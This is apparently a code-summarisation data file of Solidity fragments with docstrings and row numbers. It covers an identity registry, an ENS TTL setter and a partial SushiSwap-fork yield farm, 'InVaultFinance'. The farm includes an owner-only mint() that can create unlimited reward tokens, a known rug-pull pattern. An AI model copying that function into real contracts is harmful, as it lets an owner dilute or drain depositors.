__uidByAddress[_address] = Uid('', __uidByAddress[_address].lastUpdate);
__addressByUid[uid] = Address(address(0), __addressByUid[uid].lastUpdate);
identities--;
IdentityUnset(_address, uid);
}
// getters
/**
* @dev Returns the keccak256 of the app nickname
*/
function getAppNickname()
external
whenAppSet
constant returns (bytes32) {
return keccak256(appNickname);
}
/**
* @dev Returns the appId
*/
function getAppId()
external
whenAppSet
constant returns (uint) {
return appId;
}
/**
* @dev Returns the user-id associated to a wallet
* @param _address The address of the wallet
*/
function getUid(
address _address
)
public
constant returns (string)
{
return __uidByAddress[_address].lastUid;
}
/**
* @dev Returns the address associated to a user-id
* @param _uid The user-id
*/
function getAddress(
string _uid
)
external
constant returns (address)
{
return __addressByUid[_uid].lastAddress;
}
/**
* @dev Returns the timestamp of last update by address
* @param _address The address of the wallet
*/
function getAddressLastUpdate(
address _address
)
external
constant returns (uint)
{
return __uidByAddress[_address].lastUpdate;
}
/**
* @dev Returns the timestamp of last update by user-id
* @param _uid The user-id
*/
function getUidLastUpdate(
string _uid
)
external
constant returns (uint)
{
return __addressByUid[_uid].lastUpdate;
}
// utils
function isUid(
string _uid
)
public
view
returns (bool)
{
return checker.isUid(_uid);
}
}
|
Unset a tweedentity _address The address of the wallet/
|
function unsetIdentity(
address _address
)
external
onlyManager
whenAppSet
{
require(_address != address(0));
require(bytes(__uidByAddress[_address].lastUid).length > 0);
string memory uid = __uidByAddress[_address].lastUid;
__uidByAddress[_address] = Uid('', __uidByAddress[_address].lastUpdate);
__addressByUid[uid] = Address(address(0), __addressByUid[uid].lastUpdate);
identities--;
IdentityUnset(_address, uid);
}
| 1,782,747 |
./partial_match/137/0x6FD5b9eFE14Ea011d5cFE455fe671075e341dfC3/sources/contracts/lib/ens/ENS.sol
|
Sets the TTL for the specified node. node The node to update. ttl The TTL in seconds./
|
function setTTL(bytes32 node, uint64 ttl) public only_owner(node) {
NewTTL(node, ttl);
records[node].ttl = ttl;
}
| 3,531,557 |
pragma solidity ^0.6.12;
/*
forked from SUSHI and YUNO and KIMCHI
*/
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// InVaultToken with Governance.
contract InVaultToken is ERC20("InVaultToken", "VAULT"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterSommelier).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
contract InVaultFinance is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of VAULTs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accVaultPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accVaultPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. VAULTs to distribute per block.
uint256 lastRewardBlock; // Last block number that VAULTs distribution occurs.
uint256 accVaultPerShare; // Accumulated VAULTs per share, times 1e12. See below.
}
// The VAULT TOKEN!
InVaultToken public vault;
// Block number when bonus VAULT period ends.
uint256 public bonusEndBlock = 8621080;
// VAULT tokens created per block.
uint256 public vaultPerBlock;
// Bonus muliplier for early vault makers.
uint256 public constant BONUS_MULTIPLIER = 1; // no bonus
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when VAULT mining starts.
uint256 public startBlock;
uint256 public halvePeriod = 720;
uint256 public lastHalveBlock;
uint256 public minimumVaultPerBlock = 0.00625 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event Halve(uint256 newVaultPerBlock, uint256 nextHalveBlockNumber);
constructor(
InVaultToken _vault,
uint256 _startBlock
) public {
vault = _vault;
vaultPerBlock = 0.05 ether;
startBlock = _startBlock;
lastHalveBlock = _startBlock + 0;
}
function doHalvingCheck(bool _withUpdate) public {
if (vaultPerBlock <= minimumVaultPerBlock) {
return;
}
bool doHalve = block.number > lastHalveBlock + halvePeriod;
if (!doHalve) {
return;
}
uint256 newVaultPerBlock = vaultPerBlock.div(2);
if (newVaultPerBlock >= minimumVaultPerBlock) {
vaultPerBlock = newVaultPerBlock;
lastHalveBlock = block.number;
emit Halve(newVaultPerBlock, block.number + halvePeriod);
if (_withUpdate) {
massUpdatePools();
}
}
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accVaultPerShare: 0
}));
}
// Update the given pool's VAULT allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending VAULTs on frontend.
function pendingVault(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accVaultPerShare = pool.accVaultPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 vaultReward = multiplier.mul(vaultPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accVaultPerShare = accVaultPerShare.add(vaultReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accVaultPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function mint(address to, uint256 amount) public onlyOwner{
vault.mint(to, amount);
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
doHalvingCheck(false);
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 blockPassed = block.number.sub(pool.lastRewardBlock);
uint256 vaultReward = blockPassed
.mul(vaultPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
vault.mint(address(this), vaultReward);
pool.accVaultPerShare = pool.accVaultPerShare.add(vaultReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterSommelier for VARULT allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accVaultPerShare).div(1e12).sub(user.rewardDebt);
safeVaultTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accVaultPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterSommelier.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accVaultPerShare).div(1e12).sub(user.rewardDebt);
safeVaultTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accVaultPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
